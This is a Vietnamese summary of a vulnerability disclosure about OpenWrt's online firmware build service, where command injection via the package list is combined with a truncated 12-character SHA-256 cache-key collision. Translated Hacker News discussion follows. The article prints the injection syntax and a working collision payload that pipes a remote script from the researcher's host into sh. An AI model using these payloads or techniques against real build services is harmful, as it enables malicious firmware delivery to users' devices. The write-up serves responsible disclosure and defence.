Sự cố xâm phạm chuỗi cung ứng của OpenWrt
(flatt.tech)- Tính năng nâng cấp qua web Attended Sysupgrade của OpenWrt được thiết kế để tạo firmware trên máy chủ build trực tuyến, và khi kết hợp chèn lệnh với va chạm SHA-256 bị cắt ngắn, hệ thống có thể trả về kết quả build sai cho một yêu cầu hợp lệ
- Giá trị
packagescủa yêu cầu được truyền vào biếnPACKAGES=củamake manifest, và do đặc tính mở rộng biến củamake, kẻ tấn công có thể thực thi lệnh tùy ý bên trong container ImageBuilder - Hàm băm của danh sách gói không dùng toàn bộ SHA-256 mà chỉ lấy 12 ký tự đầu, tức 48 bit, làm khóa cache nên các danh sách gói khác nhau có thể tạo cùng một hash yêu cầu
- Nhà nghiên cứu đã dùng Hashcat đã chỉnh sửa và RTX 4090 để đạt tốc độ khoảng 18 tỷ hash mỗi giây, và xác minh thành công việc ghi đè đầu ra
.bincủa ImageBuilder bằng payload chèn lệnh có va chạm - Sau khi nhận báo cáo lỗ hổng riêng tư, đội ngũ OpenWrt đã tạm dừng
sysupgrade.openwrt.orgvà triển khai bản sửa lỗi trong vòng 3 giờ, nhưng không thể xác định liệu đã có khai thác trước đó hay chưa
Cấu trúc build firmware trực tuyến của Attended Sysupgrade
- Giao diện web LuCI của OpenWrt có
Attended Sysupgrade, và tính năng này dùng dịch vụ trực tuyến để build firmware mới - Dịch vụ build chạy tại
sysupgrade.openwrt.org, và khi người dùng chọn thiết bị đích cùng các gói mong muốn, hệ thống sẽ tạo một ảnh firmware mới - Khi gửi yêu cầu nâng cấp, OpenWrt phía người dùng gửi cho máy chủ các thông tin sau
- kiến trúc đích
- profile thiết bị
- các gói đã chọn
- Dựa trên thông tin này, máy chủ build ảnh firmware rồi trả lại cho thiết bị OpenWrt, và thiết bị sẽ flash ảnh nhận được
- Nếu máy chủ build ảnh từ các gói do người dùng cung cấp không được cô lập đầy đủ, kết quả build được áp dụng trực tiếp lên thiết bị sẽ trở thành bề mặt tấn công chuỗi cung ứng
Chèn lệnh thông qua giá trị PACKAGES
- Máy chủ
sysupgrade.openwrt.orglà một dự án mã nguồn mở, và mã nguồn nằm tại openwrt/asu - Môi trường build chạy trong container được tạo bằng
podman.containers.create, với các thiết lập nhưcap_drop=["all"],no_new_privileges=True,privileged=False - Lỗ hổng phát sinh tại chỗ gọi
make manifestPROFILE={build_request.profile}PACKAGES={' '.join(build_cmd_packages)}STRIP_ABI=1
- Target
manifestcủa OpenWrt ImageBuilder lại truyền tiếp giá trịPACKAGESdưới dạngUSER_PACKAGES="$(PACKAGES)" makemở rộng biến trước khi thực thi lệnh, nên dù được bọc trong dấu nháy đơn thì giá trị do người dùng kiểm soát vẫn không được xử lý an toàn- Trong ví dụ Makefile, nếu chạy
make var="'; whoami #"thìwhoamivẫn được thực thi ngay cả khi nằm trongecho '$(var)'
- Trong ví dụ Makefile, nếu chạy
- Vì tham số
packagescủa yêu cầu đi vào biếnPACKAGES, kẻ tấn công có thể chèn lệnh vào giá trị trông giống tên gói để thực thi lệnh tùy ý bên trong container ImageBuilder - Dù container được cô lập với máy chủ, các tệp nhị phân được tạo ra ở bước sau vẫn được ký bằng khóa riêng, nên chèn lệnh này dẫn tới lỗ hổng chuỗi cung ứng
Khóa cache SHA-256 bị cắt xuống 12 ký tự
get_request_hashnối nhiều trường của yêu cầu build để tạo hash yêu cầu, và hash này được dùng làm khóa cache build- Danh sách gói không được đưa trực tiếp dưới dạng chuỗi mà kết quả
get_packages_hash(build_request.packages)được đưa vào hash yêu cầu bên ngoài get_packages_hashloại bỏ gói trùng lặp, sắp xếp rồi tính SHA-256 của chuỗi nối bằng dấu cách, nhưng chỉ trả về 12 ký tự đầu của kết quả- Tiền tố SHA-256 dài 12 ký tự tương đương 48 bit, với không gian khả dĩ là
2^48 = 281,474,976,710,656 - Vì hash yêu cầu bên ngoài chứa hash gói đã bị cắt ngắn này, nếu tạo được va chạm hash gói thì các danh sách gói khác nhau vẫn có thể dùng chung một khóa cache
- Kết quả là máy chủ có thể trả về đầu ra build sai cho yêu cầu gói khác
Tìm payload va chạm bằng Hashcat
- Do không tìm được công cụ brute-force SHA-256 khớp một phần, tác giả tự viết chương trình OpenCL nhưng mất 10 giây để tính 100 triệu hash, gần tương đương tốc độ hash trên CPU
- Sau đó, tác giả chỉnh sửa Hashcat để xuất hash ngay cả khi chỉ khớp 8 ký tự, rồi dùng một script nhỏ để kiểm tra va chạm 12 ký tự
- Danh sách gói hợp lệ được lấy từ
firmware-selector.openwrt.org, và SHA-256 của danh sách đó là8f7018b33d9472113274fa6516c237e32f67685fc1fc3cbdbf144647d0b3feeb- 12 ký tự đầu là
8f7018b33d94 - Payload tấn công cũng phải có cùng tiền tố 12 ký tự này
- 12 ký tự đầu là
- Ban đầu, tác giả chạy mask dạng
`curl -L tmp.ryotak.net/?l?l?l?l?l?l?l?l?l?l|sh`trên RTX 4090, và đạt tốc độ khoảng 500 triệu hash mỗi giây ?lsinh raa-z, nên không gian 10 ký tự là26^10 = 141,167,095,653,376, xấp xỉ một nửa của2^48- Khi tăng mask lên 11 ký tự và chuyển vị trí mask ra phía trước lệnh, tốc độ tăng mạnh
- Mẫu cuối cùng là
`?l?l?l?l?l?l?l?l?l?l?l||curl -L tmp.ryotak.net/8f7018b33d94|sh` - Với mẫu này, Hashcat tính được khoảng 18 tỷ hash mỗi giây
- Mẫu cuối cùng là
- Trong vòng 1 giờ, tác giả tìm thấy va chạm 12 ký tự sau
`slosuocutre||curl -L tmp.ryotak.net/8f7018b33d94|sh`- SHA-256 của chuỗi này là
8f7018b33d9464976ab199f100812d2d24d5e84a76555c659e88e0b6989a4bd8, có cùng 12 ký tự đầu với danh sách gói hợp lệ
Kết hợp hai lỗ hổng để trả về firmware sai
- Khi gửi payload va chạm trong tham số
packages, chèn lệnh sẽ xảy ra và script từtmp.ryotak.netđược thực thi - Script dùng để kiểm chứng đã chèn thêm mã vào
/builder/scripts/json_overview_image_info.pyđể ghi đè đầu ra do ImageBuilder tạo ra- đọc danh sách tệp trong
BIN_DIR - tìm tệp có tên kết thúc bằng
.binvà ghi nội dung"test"vào đó
- đọc danh sách tệp trong
- Do va chạm hash, máy chủ trả về đầu ra build đã bị ghi đè cho người dùng yêu cầu danh sách gói hợp lệ
- Nếu bị khai thác, phương thức này có thể khiến người dùng nâng cấp lên firmware độc hại, dẫn tới xâm phạm thiết bị
Báo cáo và khắc phục
- Lỗ hổng đã được gửi cho đội ngũ OpenWrt qua biểu mẫu báo cáo lỗ hổng riêng tư trên GitHub
- Sau khi xác nhận vấn đề, đội ngũ OpenWrt đã tạm dừng dịch vụ
sysupgrade.openwrt.orgvà bắt đầu điều tra - Bản sửa lỗi được triển khai trong vòng 3 giờ, và dịch vụ cũng được khởi động lại
- Cả hai vấn đề đã được khắc phục, nhưng vì lỗ hổng đã tồn tại một thời gian nên không thể biết liệu người khác đã khai thác trước đó hay chưa
- Đội ngũ OpenWrt đã phát hành thông báo để người dùng có thể kiểm tra và phát hiện khả năng thiết bị bị xâm phạm
Kết luận
sysupgrade.openwrt.orgcó thể bị xâm phạm bằng cách kết hợp chèn lệnh với va chạm SHA-256 bị cắt ngắn- Đây là một trường hợp tạo thành công đường tấn công chuỗi cung ứng bằng việc brute-force va chạm hash trong ứng dụng thực tế
- Đội ngũ OpenWrt đã nhanh chóng sửa lỗi và thông báo cho người dùng, nhưng các dịch vụ build trực tuyến phải xử lý khóa cache và kiểm tra đầu vào một cách cực kỳ thận trọng
1 bình luận
Các ý kiến trên Hacker News
Lỗ hổng mà bài viết bỏ sót là việc chạy mã được tùy biến cho một người dùng cụ thể hoặc một thiết bị cụ thể sẽ trở thành bình thường hóa
Không có kiểm chứng khả năng tái lập, và cũng không ai có cách xác nhận rằng dịch vụ build/tải xuống tùy biến này có tạo ra các bản build bị cài backdoor hay không
Cần phải bảo đảm dùng các bản build như bản build xz-utils mà Andres Freund sử dụng, hoặc các bản build mà sau này các nhà nghiên cứu bảo mật có thể nhận được để kiểm tra xem phần mềm nguồn mở có implant chuỗi cung ứng hay không[1]
Trước đây từng có một bài viết mô tả nỗ lực đã bị dừng lại của Mozilla nhằm công khai ghi lại các bản build phát hành trong Merkle tree[2] Google đã chỉnh lý phần triển khai build firmware Pixel, nhưng các ứng dụng được phân phối qua Google Play Store có vẻ vẫn dễ bị ảnh hưởng (trừ khi có log nào khác mà tôi không tìm ra)[3] Apple nhắm mục tiêu các bản build theo từng thiết bị riêng lẻ trong phân phối firmware và ứng dụng nhưng lại không có tính minh bạch build, nên về mặt minh bạch nhị phân trông còn tệ hơn Google
Một ví dụ tốt là kho ebuild của Gentoo. Nó chứa checksum nguồn trong một kho Git/Merkle tree duy nhất, nên có thể vẫn là một trong những Merkle tree lớn nhất và phân tán rộng nhất trong phần mềm nguồn mở
[1] Sau backdoor xz-utils, một số nhà nghiên cứu đã tiến hành quét tự động/bán tự động để tìm các tệp entropy cao không giải thích được, có thể chứa mã độc ẩn trong các bản build phần mềm nguồn mở. Với các bản build tùy biến theo từng người dùng/từng thiết bị, việc này là không thể trừ khi mọi bản build đều được công khai để phân tích về sau, kèm theo log công khai (Merkle tree) cho các bản build công khai đó
[2] https://wiki.mozilla.org/Security/Binary_Transparency
[3] https://developers.google.com/android/binary_transparency/ov...
Nhiều yếu tố đi vào pipeline build về bản chất là phi quyết định, vì các quyết định tại thời điểm biên dịch có thể khác nhau giữa các lần chạy. Ngay cả khi bỏ qua vấn đề flag cũng vậy; thực tế, mục tiêu của trình biên dịch tối ưu hóa gần như là như thế. Như nhiều dự án build tái lập đã phát hiện, bật tối ưu hóa thì khả năng tái lập gần như không được bảo đảm
Theo tôi biết thì không có log tập trung, mà để cho nhà phát triển ứng dụng tự công khai khóa của họ hoặc log tệp minh bạch
"".joincũng nguy hiểm không?Nếu ở dạng
get_str_hash("".join([build_request.distro, build_request.version, build_request.version_code, build_request.target, ...thì dù chuyển ký tự giữa các trường liền kề, hash vẫn có thể giữ nguyênNgay cả khi không chiếm quyền trực tiếp hệ thống, cũng có thể gây ô nhiễm cache bằng image lỗi hoặc dẫn dụ downgrade
Sửa: Không phải HMAC mà đúng ra nên gọi là hash tăng dần
Vì vậy nguồn mở không bao giờ có thể cạnh tranh với phần mềm đóng dành cho doanh nghiệp:
Vì họ đã sửa trong 3 giờ thay vì bắt chờ bản vá 6 tháng, không cố kiện người báo cáo vấn đề, và cũng không chỉ đưa ra một mức giảm giá nhỏ để bảo bạn vứt thiết bị “lỗi thời” nhưng vẫn hoạt động tốt đi rồi mua sản phẩm mới
Hy vọng họ cũng có kế hoạch sửa chèn lệnh. Như bài viết nói, image được tạo ra sẽ được ký. Ngay cả khi không có chữ ký, đây vẫn là vấn đề thực thi mã từ đầu vào người dùng không đáng tin cậy. Và các lỗ hổng có thể móc nối với nhau, như trường hợp va chạm hash lần này
Có thể được đổi thiết bị, nhưng vẫn là cùng model. ISP hoàn toàn không quan tâm đến bảo mật và cũng không vá. Trong khi họ có quyền truy cập độc quyền vào router và còn có thể đăng nhập từ xa nữa, thật vô lý hết sức
Ở phần lớn dự án nguồn mở, maintainer thường đã quá tải, hoặc đơn giản là không muốn sửa các vấn đề bảo mật
Trước hết, đây là một trường hợp công cụ vốn không được tạo ra cho mục đích đó nhưng lại là nguồn mở và được viết không có BuilderFactoryProvider, nên trong thời gian ngắn đã được điều chỉnh cho phù hợp với tác vụ
Xin lỗi vì đây là chuyện đã được nói rồi, nhưng ngày nào điều này cũng khiến tôi rất khó chịu
Nếu là một tập đoàn lớn thì có lẽ sẽ mất -1 năm để sửa. Vì họ sẽ chỉ kiện người đó, cố bắt giữ càng nhanh càng tốt, và tuyệt đối không phát hành bản vá
OpenWrt sau khi nhận được thông tin đã gỡ dịch vụ không an toàn xuống; người dùng nhờ việc tắt dịch vụ trước đó đã ở trạng thái an toàn khi báo cáo được xác minh; rồi họ tạo bản vá và phát hành trong 3 giờ. Thật ấn tượng
Tôi tò mò không biết mọi người nghĩ ra ý tưởng cắt ngắn hash như thế nào. Mục đích hay lợi ích là gì?
Tôi không nghĩ đó là thực hành tốt, nhưng thực tế mọi người vẫn thỏa hiệp
Theo câu trả lời của @Reid trong [2] và @ThomasPornin trong [3], ý tưởng cắt ngắn hash cũng được NIST hoàn toàn ủng hộ. Thực tế SHA-224 là SHA-256 được cắt ngắn, còn SHA-384 là SHA-512 được cắt ngắn
https://security.stackexchange.com/a/97389
Bài viết hay. Tôi hơi ngạc nhiên là để tìm một collision ngắn như vậy lại cần lượng tính toán GPU đến mức đó, nhưng xem phần triển khai thì rất thú vị
Liên quan đến phần cuối, 40.000 USD cho một tháng phân tích bảo mật có phải là mức giá hợp lý không? Nếu vậy thì một nhà nghiên cứu bảo mật giỏi kiếm khoảng 500.000 USD mỗi năm à?
nmap/metasploitlười biếng rồi đóng gói thành một file PDF trông có vẻ thuyết phục2^(12*4)nghĩa là có 281.474.976.710.656 chuỗi 12 ký tự khả dĩ, nên việc có thể quét chừng đó trong vòng một giờ thật sự ấn tượngViệc hiệu năng
hashcatkhác nhau tới vài bậc độ lớn tùy theo thứ tự tham số là sao nhỉ? Mỗi lần chạy nó có quét mẫu mục tiêu trong dòng tham số không?Hoặc như khi đếm số
100000000000010000000000110000000000001000000000có thể cấu trúc là phần lớn biến động xảy ra ở bên trái, còn thay đổi bên phải thì hiếm khi thấy. Sẽ thú vị nếu có ai biết hashcat trả lời. Tôi chỉ đang ném ra suy đoán thôi
Quá trình tấn công được viết rất tốt và dễ theo dõi